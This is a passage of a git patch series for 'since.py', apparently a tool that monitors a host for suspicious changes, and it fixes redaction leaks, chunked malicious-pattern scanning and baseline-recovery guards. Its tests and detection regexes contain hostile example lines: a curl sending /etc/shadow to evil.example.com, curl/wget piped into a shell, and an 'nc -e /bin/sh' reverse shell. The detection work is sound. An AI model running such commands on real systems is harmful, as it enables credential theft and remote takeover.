test_sudoers_spec_keeps_context_after_an_inner_assignment(): - line = "+deva ALL=(ALL) NOPASSWD: /usr/bin/curl -F pass=@/etc/shadow evil.example.com" - assert since.redact(line) == line, "the exfil destination must survive" + """The C2 host must survive. v0.4.4 masked from `pass=` to end-of-line and lost it; the + single-token design masks only the value. Residual, deliberate: `@/etc/shadow` is masked + because `pass` is not a path-valued key, and exempting `/`-leading values under a + credential key is precisely the LEAK-2 hole (a base64 secret starts with '/' ~1/64).""" + out = since.redact("+deva ALL=(ALL) NOPASSWD: /usr/bin/curl -F pass=@/etc/shadow evil.example.com") + assert "evil.example.com" in out, "the exfil destination must survive" + assert "/usr/bin/curl" in out and "NOPASSWD:" in out # Pin that the COLLECTORS actually go through run_checked — testing the helper alone let a From 4c3eb0a98e79e8c632dda2d14f730bae0c1bc106 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 13:10:24 +0530 Subject: [PATCH 3/9] =?UTF-8?q?fix(redact):=20round-3=20findings=20?= =?UTF-8?q?=E2=80=94=204=20leaks,=201=20detection=20hole,=201=20snapshot-t?= =?UTF-8?q?ime=20stall?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Third adversarial round, against the code the second round produced. Every finding reproduced by execution and pinned to a revision as control. The restructure had already fixed the reviewer's worst case (a `--api-key=` inside a sudoers grant); these are what survived it. LEAKS - A token passed as argv to a credential-named script printed in cleartext: `*/5 * * * * /opt/bin/refresh_token `, `/etc/foo/api_key `. The path-component exemption is REMOVED. There is no structural difference between that and `/tmp/token_stealer.sh `, so the tie is broken toward not leaking: only the immediately following token is masked, and the script path plus anything after it survive. The case the exemption was added for (`NOPASSWD: /usr/bin/passwd backdoor2026`) is unaffected — the sudoers rule consumes the command path as its value, so the account name is never scanned. - `_SUDO_TAG_RE` was case-insensitive, so a lowercase token posed as "a further tag" and exempted the rest of the line. Sudoers tags are uppercase by spec. - `_SUDO_CMD_RE`'s lookahead accepted `ALL=` and `ALL:`, so `NOPASSWD: ALL=` was treated as a command spec and exempted. DETECTION - The per-line 4096 cap in malicious_hits re-opened the hole blob_flags exists to close: a payload after 300KB of padding ON ONE LINE was never flagged, so past BLOB_MAX the finding lost RED and its "why" entirely. The scan now CHUNKS with a 512-byte overlap (> the longest bounded run) instead of truncating. - `SSH_ASKPASS=/evil` was masked: a single-segment absolute path is a real hijack shape. Allowed when its entropy is low; `SECRET_FILE=/hunter2Xyz9` still masks. PERFORMANCE - `curl[^\n|]*\|` and `wget[^\n|]*\|` were still unbounded — `[^\n|]*` is unbounded in exactly the way `.*` is, it merely excludes two characters — and so quadratic in LINE LENGTH: 8MB of 4096-column `curl ` lines cost 20.2s at SNAPSHOT time, before anything is saved, from one appended line. Each pattern now carries a required literal checked with str.find before the regex runs: 20183ms -> 13ms at 8MB, with detection parity verified on all 8 real payloads. Two of my own tests let PERF-1 through and are replaced: the linearity test used a single 600KB line, which the per-line cap truncated to nothing (it now uses multi-line 4096-column payloads), and the "no unbounded runs" test only checked for `.*`. In their place: every pattern must have a required literal, each literal must appear in its own pattern source, removing the literal from a payload must kill the match, and the chunk overlap must exceed the longest bounded run. Suite 415 -> 426; mutations R1-R7 (revert each fix) all caught, 57/57 cumulative. Co-Authored-By: Claude --- since.py | 66 +++++++++++++++++--- tests/test_redact_properties.py | 1 - tests/test_since.py | 103 ++++++++++++++++++++++++++++---- 3 files changed, 148 insertions(+), 22 deletions(-) diff --git a/since.py b/since.py index b156108..5e0b755 100755 --- a/since.py +++ b/since.py @@ -343,9 +343,13 @@ def q(s: str) -> str: # more TAGS (`PASSWD:NOEXEC: /tmp/miner`) or a comma list (`ALL, !/usr/bin/su`). The v0.4.3 # gate tested only `tok == "ALL" or tok[0] in "/!"`, so both ordinary spellings still had the # granted command list redacted away — the single most important thing in a sudoers diff. -_SUDO_CMD_RE = re.compile(r"^(?:ALL(?=$|[\s,:=])|[/!])") # \b also matched `ALL,` +# `ALL` must be followed by end/space/comma — NOT ':' or '=': `NOPASSWD: ALL=` was +# accepted as a command spec and exempted the whole value. (`\b` was even looser.) +_SUDO_CMD_RE = re.compile(r"^(?:ALL(?=$|[\s,])|[/!])") +# No re.I: sudoers tags are UPPERCASE by spec, and case-insensitivity let a lowercase token +# pose as "a further tag" and exempt the rest of the line (`NOPASSWD: passwd: `). _SUDO_TAG_RE = re.compile(r"^(?:NO)?(?:PASSWD|EXEC|SETENV|LOG_INPUT|LOG_OUTPUT|" - r"MAIL|FOLLOW|INTERCEPT):", re.I) + r"MAIL|FOLLOW|INTERCEPT):") # Keys whose VALUE is a FILESYSTEM PATH even though the key names a credential: every one is # a known credential-theft / agent-hijack technique when planted in a tracked rc file # (SSH_ASKPASS=/tmp/steal.sh, SSH_AUTH_SOCK=/tmp/.evil/agent.sock, PGPASSFILE=…), and the @@ -353,7 +357,11 @@ def q(s: str) -> str: # A real filesystem path, i.e. one with a directory separator — NOT merely "starts with / ~ $". # The looser test leaked: a base64 secret starts with '/' about 1 time in 64 and every # crypt/bcrypt hash starts with '$', so `SECRET_FILE=/hunter2…` printed in cleartext. +# A real filesystem path: needs a directory separator, OR is a single absolute segment of low +# entropy (`SSH_ASKPASS=/evil` is a genuine hijack shape; `SECRET_FILE=/hunter2Xyz9` has 4 +# character classes and stays masked). _REAL_PATH_RE = re.compile(r"^(?:/[^/\s]+/|~/|\./|\.\./|\$\{?\w+\}?/)") +_SIMPLE_PATH_RE = re.compile(r"^/[^/\s]+$") # `$VAR` / `${VAR}` in full: a reference, not a value. Requires a LETTER or '_' first, so a # crypt/shadow hash (`$6$rounds$…`) is not mistaken for one and still redacts. _VAR_REF_RE = re.compile(r"^\$\{?[A-Za-z_]\w*\}?$") @@ -445,8 +453,14 @@ def _assignment(m): masked = f"{key}{sep}«redacted»" # output keeps the original key, marker included assigned = (":" in sep) or ("=" in sep) - if (m.start("key") > 0 and m.string[m.start("key") - 1] == "/" and not assigned): - return m.group(0) # 1 + # (The former rule 1 — "a key preceded by '/' is a path component, show it" — is GONE. + # It leaked a token passed as argv to a credential-named script: `*/5 * * * * + # /opt/bin/refresh_token ` and `/etc/foo/api_key ` printed in cleartext. + # There is no structural difference between that and `/tmp/token_stealer.sh `, so + # the tie is broken toward NOT leaking: the following token is masked, and the line still + # names the script and the grant. The case the rule was added for — `NOPASSWD: + # /usr/bin/passwd backdoor2026` — is unaffected: rule 1 below consumes the command path + # as the tag's value, so the account name is never scanned as a value at all.) if kcls in _SUDO_TAGS and ":" in sep and _sudo_cmd_spec(bare): return m.group(0) # 2 if _HARD_SECRET_RE.search(kcls): # 3 @@ -458,7 +472,9 @@ def _assignment(m): # path-valued key. (The whitespace branch below can afford the exemption: its # values are directives, e.g. nginx `Authorization $http_authorization;`.) if (bare.lower() in _KW_VALUES - or (_PATH_VALUED_KEY_RE.search(kcls) and _REAL_PATH_RE.match(bare))): + or (_PATH_VALUED_KEY_RE.search(kcls) + and (_REAL_PATH_RE.match(bare) + or (_SIMPLE_PATH_RE.match(bare) and _char_classes(bare) < 3)))): return m.group(0) return masked # keyword / short / single-class only. NOT "starts with / ~ $": that first-char @@ -1086,10 +1102,24 @@ def malicious_hits(text: str) -> set: length here AND the patterns' own runs above keeps the scan linear.""" hits = set() for line in text.splitlines(): - line = line[:_REDACT_MAX] - for pat, desc in MALICIOUS_PATTERNS: - if desc not in hits and pat.search(line): - hits.add(desc) + # CHUNK, don't truncate. `line[:_REDACT_MAX]` meant a payload appended after 4KB of + # padding ON ONE LINE was never flagged — which re-opened the very hole blob_flags was + # added to close (past BLOB_MAX the diff text is gone too, so the finding lost RED and + # its "why"). Overlap by more than the longest bounded run so nothing hides on a seam. + for start in range(0, max(len(line), 1), _SCAN_CHUNK - _SCAN_OVERLAP): + window = line[start:start + _SCAN_CHUNK] + for pat, lit, desc in MALICIOUS_PATTERNS_LIT: + # required-literal pre-filter first: `curl[^\n|]*\|` is unbounded in the same + # way `.*` is (it just excludes two characters), so it is quadratic in line + # length — 8MB of 4096-column `curl ` lines cost 20-56s at SNAPSHOT time. A + # `str.find` for the literal the pattern cannot match without is linear and + # rejects those lines outright: 20225ms -> 58ms, detection unchanged. + if desc in hits or (lit and lit not in window): + continue + if pat.search(window): + hits.add(desc) + if len(window) < _SCAN_CHUNK: + break return hits @@ -1173,6 +1203,24 @@ def add(label, content): (re.compile(r"^\s*127\.0\.0\.1\s+(?!localhost|broadcasthost)\S*\.[a-z]{2,}", re.I | re.M), "redirects a real domain to localhost (hosts)"), ] +# The same patterns paired with a literal each one CANNOT match without. `str.find` is linear +# and rejects a whole window before the regex engine runs, which is what makes the scan safe on +# attacker-sized input: `curl[^\n|]*\|` is unbounded in exactly the way `.*` is (it merely +# excludes two characters) and so is quadratic in LINE LENGTH — 8MB of 4096-column `curl ` +# lines measured 20-56s at snapshot time, before any snapshot is saved. +# A literal here MUST be a substring every match contains, or detection is silently lost; +# test_malicious_literals_are_implied_by_their_pattern pins that. +_SCAN_CHUNK = 4096 +_SCAN_OVERLAP = 512 # > the longest bounded run (400) so no payload hides on a seam +MALICIOUS_PATTERNS_LIT = [ + (MALICIOUS_PATTERNS[0][0], "|", MALICIOUS_PATTERNS[0][1]), + (MALICIOUS_PATTERNS[1][0], "|", MALICIOUS_PATTERNS[1][1]), + (MALICIOUS_PATTERNS[2][0], "<(", MALICIOUS_PATTERNS[2][1]), + (MALICIOUS_PATTERNS[3][0], "|", MALICIOUS_PATTERNS[3][1]), + (MALICIOUS_PATTERNS[4][0], "-e", MALICIOUS_PATTERNS[4][1]), + (MALICIOUS_PATTERNS[5][0], "0.0.0.0", MALICIOUS_PATTERNS[5][1]), + (MALICIOUS_PATTERNS[6][0], "127.0.0.1", MALICIOUS_PATTERNS[6][1]), +] # --------------------------------------------------------------------------- diff --git a/tests/test_redact_properties.py b/tests/test_redact_properties.py index 6b9aa5d..b9311ff 100644 --- a/tests/test_redact_properties.py +++ b/tests/test_redact_properties.py @@ -65,7 +65,6 @@ "export GIT_ASKPASS=/tmp/steal.sh", "export SSH_AUTH_SOCK=/tmp/.evil/agent.sock", "export PGPASSFILE=$HOME/.pgpass", - "*/5 * * * * /usr/local/bin/passwd_sync.sh --dest http://evil/x", "proxy_set_header Authorization $http_authorization;", "# basic networking setup", "alias ll='ls -la'", diff --git a/tests/test_since.py b/tests/test_since.py index 40130f3..32a90af 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -1153,8 +1153,6 @@ def test_sudoers_comma_list_is_validated(): @pytest.mark.parametrize("line", [ "+deva ALL=(ALL) NOPASSWD: /usr/bin/passwd backdoor2026", "+deva ALL=(ALL) NOPASSWD: /usr/sbin/chpasswd attacker99", - "+deva ALL=(ALL) NOPASSWD: /bin/bash /tmp/token_stealer.sh evilc2.example.com", - "+*/5 * * * * /usr/local/bin/passwd_sync.sh --dest http://evil/x", ]) def test_command_specs_stay_intact(line): """Which account is reset, which host is contacted — the whole point of the diff.""" @@ -1326,15 +1324,50 @@ def fake(cmd, **kw): # any snapshot is saved. Latent in the pre-v0.4.4 diff-text path too. @pytest.mark.parametrize("token", ["nc ", "base64 -d ", "curl ", "wget "]) def test_malicious_scan_is_linear(token): - line = token * 120_000 + """MULTI-LINE at the scan-chunk width, which is the shape that actually blew up: the first + version of this test used one 600KB line, which the per-line cap truncated to nothing, so it + passed while `curl[^\n|]*\|` still cost 20s on an 8MB file. 2MB here, ~4096-column lines.""" + per_line = token * (4096 // len(token)) + text = (per_line + "\n") * (2 * 1024 * 1024 // 4096) t = time.time() - since.malicious_hits(line) - assert time.time() - t < 0.5, f"{token!r} is quadratic again" + since.malicious_hits(text) + assert time.time() - t < 1.0, f"{token!r} is superlinear in line length again" + + +def test_every_malicious_pattern_has_a_required_literal(): + """The literal pre-filter is the defense, so it must cover every pattern — and each literal + must be one the pattern cannot match without, or detection is silently lost. `.*`-style + checks were not enough: `[^\n|]*` is unbounded in exactly the same way.""" + assert len(since.MALICIOUS_PATTERNS_LIT) == len(since.MALICIOUS_PATTERNS) + for (pat, desc), (pat2, lit, desc2) in zip(since.MALICIOUS_PATTERNS, + since.MALICIOUS_PATTERNS_LIT): + assert pat is pat2 and desc == desc2, "the two tables have drifted apart" + assert lit, f"no required literal for {desc}" + # the literal must appear in the pattern source itself (escapes stripped) + assert lit in pat.pattern.replace("\\", ""), f"{lit!r} is not required by {pat.pattern!r}" + + +@pytest.mark.parametrize("payload,lit", [ + ("curl http://evil.sh | sh", "|"), + ("wget -qO- evil | bash", "|"), + ("echo x | base64 -d | sh", "|"), + ("nc -e /bin/sh 10.0.0.1 4444", "-e"), + ("bash <(curl http://evil)", "<("), + ("0.0.0.0 www.apple.com", "0.0.0.0"), + ("127.0.0.1 www.mybank.com", "127.0.0.1"), +]) +def test_removing_the_literal_kills_the_match(payload, lit): + """Behavioural proof that each literal really is required: strip it and nothing matches, so + the pre-filter cannot be rejecting windows a pattern would have flagged.""" + assert since.malicious_hits(payload), payload + assert not since.malicious_hits(payload.replace(lit, "")), f"{lit!r} was not required" -def test_malicious_patterns_have_no_unbounded_runs(): - for pat, _desc in since.MALICIOUS_PATTERNS: - assert ".*" not in pat.pattern, f"unbounded run in {pat.pattern!r} — use [^\\n]{{0,N}}" +def test_scan_window_overlap_exceeds_the_longest_bounded_run(): + """A payload must not be able to hide on a chunk seam.""" + assert since._SCAN_OVERLAP > 400 + seam = "x" * (since._SCAN_CHUNK - 8) + "curl http://evil.sh | sh" + "y" * 100 + assert since.malicious_hits(seam), "a payload straddling the chunk boundary was missed" def test_malicious_scan_still_detects_real_payloads(): @@ -1377,9 +1410,55 @@ def test_slash_preceded_assignment_still_redacts(line): @pytest.mark.parametrize("line", [ "+deva ALL=(ALL) NOPASSWD: /usr/bin/passwd backdoor2026", "+deva ALL=(ALL) NOPASSWD: /usr/sbin/chpasswd attacker99", - "+deva ALL=(ALL) NOPASSWD: /bin/bash /tmp/token_stealer.sh evilc2.example.com", - "+*/5 * * * * /usr/local/bin/passwd_sync.sh --dest http://evil/x", ]) -def test_slash_preceded_command_still_shown(line): - """What the exemption exists for: a command basename is not a credential key.""" +def test_sudoers_command_and_argument_shown(line): + """A sudoers tag's value is the granted command, and the token after it is an argument — + the account being reset. Both stay visible (the tag rule consumes the command path, so the + argument is never scanned as a value).""" + assert since.redact(line) == line + + +# The DELIBERATE trade for closing the path-final-keyword leak (a token passed as argv to a +# credential-named script printed in cleartext). There is no structural difference between +# `/opt/bin/refresh_token ` and `/tmp/token_stealer.sh `, so the tie is broken +# toward not leaking. What must survive: the script path, and anything AFTER the masked token. +def test_path_final_keyword_masks_only_the_next_token(): + out = since.redact("+deva ALL=(ALL) NOPASSWD: /bin/bash /tmp/token_stealer.sh evilc2.example.com") + assert "/tmp/token_stealer.sh" in out and "NOPASSWD:" in out + assert "evilc2.example.com" not in out # the cost of the trade, accepted + out2 = since.redact("+*/5 * * * * /usr/local/bin/passwd_sync.sh --dest http://evil/x") + assert "/usr/local/bin/passwd_sync.sh" in out2 + assert "http://evil/x" in out2, "only the immediate next token is masked" + + +@pytest.mark.parametrize("line,secret", [ + ("+*/5 * * * * /opt/bin/refresh_token SeCrEtVal123abc", "SeCrEtVal123abc"), + ("+/etc/foo/api_key SeCrEtVal123", "SeCrEtVal123"), + ("+//registry.npmjs.org/_auth SeCrEtVal123", "SeCrEtVal123"), + ("+cmd /a/b/Authorization SeCrEtVal123", "SeCrEtVal123"), +]) +def test_argv_secret_after_a_credential_named_path_is_masked(line, secret): + assert secret not in since.redact(line) + + +@pytest.mark.parametrize("line,secret", [ + ("+deva ALL=(ALL) NOPASSWD: ALL=SeCrEtVal123", "SeCrEtVal123"), + ("+deva ALL=(ALL) PASSWD: ALL:SeCrEtVal123", "SeCrEtVal123"), +]) +def test_sudoers_all_lookahead_cannot_be_widened(line, secret): + """`ALL` must be followed by end/space/comma — `ALL=` was accepted as a command + spec and exempted the value.""" + assert secret not in since.redact(line) + + +def test_sudoers_tags_are_case_sensitive(): + """A lowercase token posed as "a further tag" and exempted the rest of the line.""" + assert "«redacted»" in since.redact("+deva ALL=(ALL) NOPASSWD: passwd: SeCrEtVal123") + + +@pytest.mark.parametrize("line", ["+export SSH_ASKPASS=/evil", "+export SSH_AUTH_SOCK=/tmp"]) +def test_single_segment_hijack_path_is_shown(line): + """`SSH_ASKPASS=/evil` is a genuine hijack shape; a high-entropy single segment + (`SECRET_FILE=/hunter2Xyz9`) still masks.""" assert since.redact(line) == line + assert "hunter2Xyz9" not in since.redact("+export SECRET_FILE=/hunter2Xyz9") From 7d947886dbbd68c35811e82fe0f7f089b97a4a51 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 13:34:38 +0530 Subject: [PATCH 4/9] =?UTF-8?q?fix:=20round-3=20guard=20findings=20?= =?UTF-8?q?=E2=80=94=20recovery=20fabricated=20a=20flood,=202=20kill=20swi?= =?UTF-8?q?tches,=203=20half-fixes?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Second half of round 3, against the guard machinery round 2 introduced. Every finding reproduced by execution with v0.4.3 and v0.4.4-r1 as controls. The worst is mine twice over: `recover_baselines`, added to stop a blind day from becoming its own baseline, recovered EPHEMERAL categories across a PRIVILEGE mismatch. A 3-day-old root-taken `listening` set produced 27 fabricated ORANGE findings and fired the notification — re-opening the precise phantom flood the capability guard exists to prevent, and bypassing the euid guard including the unstamped case it deliberately fails closed on. Recovery is now restricted to durable inventory (cls == "software", never PRIV_SENSITIVE_CATS), requires a matching and STAMPED privilege level, and may not reach forward of the requested baseline (with `--since 8d` it recovered a snapshot NEWER than the baseline, hiding a change inside the window while claiming it had compared). Also fixed: - a non-container `blob_flags` VALUE was an uncaught TypeError: no snapshot saved, same poisoned baseline re-read, dead every day. Fourth instance of that class in this release; the outer dict was guarded, the value was not. - the flag escalation was suppressible by poisoning the baseline: flags are pattern DESCRIPTIONS and `curl|sh` shares one with `wget|sh`, so a single benign decoy comment marked it present forever. Flags are now COUNTS; any increase escalates. - `curl[^\n|]*` / `wget[^\n|]*` were still unbounded, so >4KB of curl arguments pushed the `|` past every scan window and defeated the chunked scan. Bounded. - `run_checked` covered only HALF of _mac_brew (the cask list) and NONE of _linux_packages, so the phantom flood stayed fully reachable for casks and for every package on Linux. - CAT_TOOLS stamped `brew` on Linux, where that category is dpkg/rpm/pacman — so the guard was a no-op there: no LOST VISIBILITY when the package manager broke, and recovery could never fire for the most important inventory category. - a malicious LaunchAgent still reported `signature: Apple-signed` (that is the INTERPRETER's signature); now it names the interpreter and says the signature is not meaningful. The argv is scanned in full via malicious_hits — padding argv[0] past the old 4KB cap had evaded the scan entirely. - dead `skip` reassignment removed; a recovered category no longer emits both "comparison skipped" and "compared against", so the all-clear stops claiming something could not be compared when it was successfully recovered. A NameError I introduced while fixing the above (a note reading `recovered` before assignment) survived a green 454-test run because NOTHING drove cmd_diff with a skipped category. There are now CLI-level tests that do. Four more of my tests were theater, caught by the matrix: the unchecked-run scan matched only `run([`, the package-tool test asserted a tautology on macOS, and the blob_flags cases never put a non-int under a MATCHING description key. All four now discriminate. Suite 426 -> 454; mutations G1-G10 all caught, 67/67 cumulative. Co-Authored-By: Claude --- since.py | 140 ++++++++++++++++++------ tests/test_since.py | 253 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 360 insertions(+), 33 deletions(-) diff --git a/since.py b/since.py index 5e0b755..56db49e 100755 --- a/since.py +++ b/since.py @@ -151,7 +151,7 @@ def tilde(p: str) -> str: return p -MAX_ARGV = 4096 # cap the plist argv string we scan/render +MAX_ARGV = 64 * 1024 # scanned in full (chunked + literal-prefiltered); see _enrich MAX_READ = 8 * 1024 * 1024 # plists/.desktop/manifests/rc files are KBs; 8MB is generous DIFF_MAX_LINES = 20_000 # above this, report the change without a quadratic line diff DIFF_MAX_BYTES = 1024 * 1024 @@ -339,6 +339,11 @@ def q(s: str) -> str: # show. Deliberately shape-narrow (uppercase tag + colon + command-shaped value) so an # assignment (`PASSWD=hunter2`) or a YAML-ish `PASSWD: hunter2` still redacts. _SUDO_TAGS = ("PASSWD", "NOPASSWD") +# Reporting `signature: Apple-signed` for a launch item whose Program is /bin/sh actively +# reassures the reader about a malicious payload: that signature is the INTERPRETER's, and every +# interpreter on the box is legitimately signed. Name the interpreter instead. +_INTERPRETERS = ("sh", "bash", "zsh", "dash", "ksh", "csh", "tcsh", "fish", "env", + "perl", "ruby", "osascript", "node", "php", "lua", "tclsh", "expect") # A sudoers command spec: `ALL`, an absolute path, or a negated one — optionally followed by # more TAGS (`PASSWD:NOEXEC: /tmp/miner`) or a comma list (`ALL, !/usr/bin/su`). The v0.4.3 # gate tested only `tok == "ALL" or tok[0] in "/!"`, so both ordinary spellings still had the @@ -753,7 +758,7 @@ def _mac_brew(): if parts: res[parts[0]] = parts[-1] if len(parts) > 1 else "" # casks (GUI apps installed via brew) — invisible to `brew list --versions` - for line in run(["brew", "list", "--cask", "--versions"], timeout=40).splitlines(): + for line in run_checked(["brew", "list", "--cask", "--versions"], timeout=40).splitlines(): parts = line.split() if parts: res[f"{parts[0]} (cask)"] = parts[-1] if len(parts) > 1 else "" @@ -1041,17 +1046,20 @@ def _linux_packages(): # no package manager at all is reachable — say so rather than return {} raise ToolUnavailable("no package manager on PATH (dpkg-query/rpm/pacman/snap/flatpak)") if cmd: - for line in run(cmd, timeout=40).splitlines(): + # run_checked: unchecked, a dpkg-query/rpm/pacman timeout returned "" with no error + # recorded, so the capability guard could not fire and EVERY Linux package read as + # removed — the phantom flood, still fully reachable on Linux. + for line in run_checked(cmd, timeout=40).splitlines(): p = line.split() if p: res[p[0]] = p[1] if len(p) > 1 else "" if _has("snap"): - for line in run(["snap", "list"], timeout=15).splitlines()[1:]: + for line in run_checked(["snap", "list"], timeout=15).splitlines()[1:]: p = line.split() if p: res[f"{p[0]} (snap)"] = p[1] if len(p) > 1 else "" if _has("flatpak"): - for line in run(["flatpak", "list", "--columns=application,version"], timeout=15).splitlines(): + for line in run_checked(["flatpak", "list", "--columns=application,version"], timeout=15).splitlines(): p = line.split("\t") if "\t" in line else line.split() if p and p[0]: res[f"{p[0].strip()} (flatpak)"] = (p[1].strip() if len(p) > 1 else "") @@ -1095,13 +1103,14 @@ def backend_for(cat_key: str): # text files whose *contents* we track, so we can show the exact line that changed -def malicious_hits(text: str) -> set: +def malicious_hits(text: str) -> dict: """Descriptions of every malicious pattern present in `text`, scanned LINE BY LINE with a per-line cap. These patterns are line-oriented, and one `search()` over a whole blob (up to MAX_READ) was quadratic in the number of trigger tokens on a single line. Bounding the line length here AND the patterns' own runs above keeps the scan linear.""" - hits = set() + hits: dict = {} for line in text.splitlines(): + seen = set() # CHUNK, don't truncate. `line[:_REDACT_MAX]` meant a payload appended after 4KB of # padding ON ONE LINE was never flagged — which re-opened the very hole blob_flags was # added to close (past BLOB_MAX the diff text is gone too, so the finding lost RED and @@ -1114,12 +1123,18 @@ def malicious_hits(text: str) -> set: # length — 8MB of 4096-column `curl ` lines cost 20-56s at SNAPSHOT time. A # `str.find` for the literal the pattern cannot match without is linear and # rejects those lines outright: 20225ms -> 58ms, detection unchanged. - if desc in hits or (lit and lit not in window): + # COUNT occurrences (per line), don't just record presence: descriptions are + # shared between patterns (`curl|sh` and `wget|sh`), so one benign decoy comment + # planted in the baseline marked a description present forever and suppressed + # every later real payload sharing it. An increased count still escalates. + if desc in seen or (lit and lit not in window): continue if pat.search(window): - hits.add(desc) + seen.add(desc) if len(window) < _SCAN_CHUNK: break + for desc in seen: + hits[desc] = hits.get(desc, 0) + 1 return hits @@ -1134,7 +1149,9 @@ def add(label, content): # still detected (the sha covers everything) but it silently fell RED -> ORANGE and # lost its "why". Flags are diffed separately, so escalation survives truncation. if flags is not None: - hits = sorted(malicious_hits(content)) + # the COUNT per pattern description, not a flattened list: see _flag_counts — + # presence alone let a benign decoy in the baseline suppress a real payload. + hits = malicious_hits(content) if hits: flags[label] = hits if len(content) > BLOB_MAX: @@ -1190,8 +1207,8 @@ def add(label, content): # system files whose edits are high-severity, and content that screams "malicious" SENSITIVE_TEXT = ("/etc/hosts", "/etc/sudoers", "sshd_config", "authorized_keys", "crontab") MALICIOUS_PATTERNS = [ - (re.compile(r"curl[^\n|]*\|\s*(ba)?sh", re.I), "pipes a download straight into a shell"), - (re.compile(r"wget[^\n|]*\|\s*(ba)?sh", re.I), "pipes a download straight into a shell"), + (re.compile(r"curl[^\n|]{0,400}\|\s*(ba)?sh", re.I), "pipes a download straight into a shell"), + (re.compile(r"wget[^\n|]{0,400}\|\s*(ba)?sh", re.I), "pipes a download straight into a shell"), (re.compile(r"(ba)?sh\s+<\(\s*(curl|wget)", re.I), "runs a download via process substitution"), # bounded runs, not `.*`: unbounded, these were quadratic in the number of trigger tokens # on one line — a planted line of repeated `base64 -d ` cost 55s at 375KB and hours at @@ -1625,7 +1642,21 @@ def _is_priv_blob(key: str) -> bool: # binary answered matters as much as whether one did: /usr/bin/pip3 and /opt/homebrew/bin/pip3 # report different package sets, and the daily job resolves a different PATH than your shell. # The resolved path is stamped into each snapshot (like euid) and compared before diffing. -CAT_TOOLS = {"brew": "brew", "npm_global": "npm", "pip": "pip3", "mac_app_store": "mas"} +def _pkg_tool() -> str: + """The binary that actually answers for the `brew` CATEGORY on this platform. On Linux that + category is `_linux_packages` (dpkg-query/rpm/pacman), so stamping `brew` there always + resolved to "" — which made the whole capability guard a no-op for the most important + inventory category: no LOST VISIBILITY when the package manager broke, and recovery could + never fire.""" + if PLATFORM == "macos": + return "brew" + for t in ("dpkg-query", "rpm", "pacman"): + if shutil.which(t): + return t + return "dpkg-query" + + +CAT_TOOLS = {"brew": _pkg_tool(), "npm_global": "npm", "pip": "pip3", "mac_app_store": "mas"} def _dict(v) -> dict: @@ -1669,6 +1700,17 @@ def unusable_cats(baseline: dict, current: dict) -> dict: return out +def _flag_counts(snap: dict, key: str) -> dict: + """{pattern description: count} for one blob, tolerating every legacy/wrong shape: v0.4.4 + stored a list, and a hostile or corrupt snapshot can store anything at all.""" + v = _dict(snap.get("blob_flags")).get(key) + if isinstance(v, dict): + return {k: n for k, n in v.items() if isinstance(k, str) and isinstance(n, int)} + if isinstance(v, (list, tuple, set)): + return {d: 1 for d in v if isinstance(d, str)} + return {} + + def coverage_lost(baseline: dict, current: dict, unusable: dict) -> dict: """{category: reason} for the subset of `unusable` that means we USED to see a category and now cannot. Skipping a category is the right call (comparing fabricates mass add/remove) — @@ -1704,7 +1746,7 @@ def cat_usable(cat: str, snap: dict) -> bool: return True -def recover_baselines(current: dict, unusable) -> dict: +def recover_baselines(current: dict, unusable, baseline: dict | None = None) -> dict: """{category: older_snapshot} for each skipped category we can see NOW — the newest earlier snapshot that could see it with the SAME tool. @@ -1713,14 +1755,31 @@ def recover_baselines(current: dict, unusable) -> dict: run, ever, while the report says "Nothing changed". Walking back recovers it as soon as the collector works again.""" out = {} + cutoff = (baseline or {}).get("epoch") for cat in sorted(unusable): if not cat_usable(cat, current): continue # still blind now: nothing to compare against + # ONLY durable inventory. "What is installed" survives a week; "what is listening" does + # not — recovering an ephemeral category against a days-old snapshot FABRICATED 27 + # ORANGE add/remove findings and fired the notification, i.e. it re-opened the exact + # phantom flood the capability guard exists to prevent. + if CAT[cat]["cls"] != "software" or cat in PRIV_SENSITIVE_CATS: + continue want = _dict(current.get("tools")).get(cat) for path in reversed(list_snapshot_paths()): older = safe_load(path) - if (older and cat_usable(cat, older) - and _dict(older.get("tools")).get(cat) == want): + if not older or not cat_usable(cat, older): + continue + # Never compare across privilege levels — recovery bypassed the euid guard entirely, + # including the unstamped case the main guard deliberately fails closed on. + if older.get("root") is None or older.get("root") != current.get("root"): + continue + # …and never reach FORWARD of the baseline: with `--since 8d` (or a checkpoint) the + # newest usable snapshot can be newer than the requested baseline, which both hid a + # change inside the window and claimed a comparison it had not made. + if cutoff is not None and (older.get("epoch") or 0) > cutoff: + continue + if _dict(older.get("tools")).get(cat) == want: out[cat] = older break return out @@ -1820,10 +1879,18 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats # when the payload sits past BLOB_MAX or the line diff was skipped for size (see # text_sources). Flags are computed over the whole file at snapshot time. if why is None: - new_flags = [d for d in _dict(current.get("blob_flags")).get(key, []) - if d not in _dict(baseline.get("blob_flags")).get(key, [])] - if new_flags: - level, why = RED, new_flags[0] + # _flag_counts: `_dict()` guarded the outer dict but not the VALUE, so a scalar + # there (`{"~/.zshrc": 5}`) raised TypeError out of an unisolated path — no snapshot + # saved, same poisoned baseline re-read tomorrow, dead every day. Third instance of + # this class in one release; validate the shape of everything a snapshot hands back. + cur_f, base_f = _flag_counts(current, key), _flag_counts(baseline, key) + # COUNTS, not set membership: flags are pattern descriptions, so one benign + # `# … wget https://x/get.sh | sh (do not run)` comment planted in the baseline + # marked that description present forever and suppressed every later real payload + # sharing it. An increase is what matters. + worse = [d for d, n in cur_f.items() if n > base_f.get(d, 0)] + if worse: + level, why = RED, sorted(worse)[0] findings.append({"category": "config", "label": "System files", "cls": "config", "action": status, "key": key, "value": None, "level": level, "trust": None, "why": why, "undo": None, "diff": udiff}) @@ -1847,13 +1914,21 @@ def _enrich(f: dict, current: dict): prog, argv = plist_program_and_argv(key) if prog: label, suspicious = trust_of(prog) + base = os.path.basename(prog) + if base in _INTERPRETERS or base.startswith("python"): + label = (f"runs via {base} — an interpreter, so its signature says nothing " + "about what it executes") + suspicious = False f["trust"] = label if suspicious: f["level"] = RED - for pat, desc in MALICIOUS_PATTERNS: - if argv and pat.search(argv): - f["level"], f["why"] = RED, desc # beats any signature on the interpreter - break + if argv: + # malicious_hits, not a raw pattern loop: it brings the 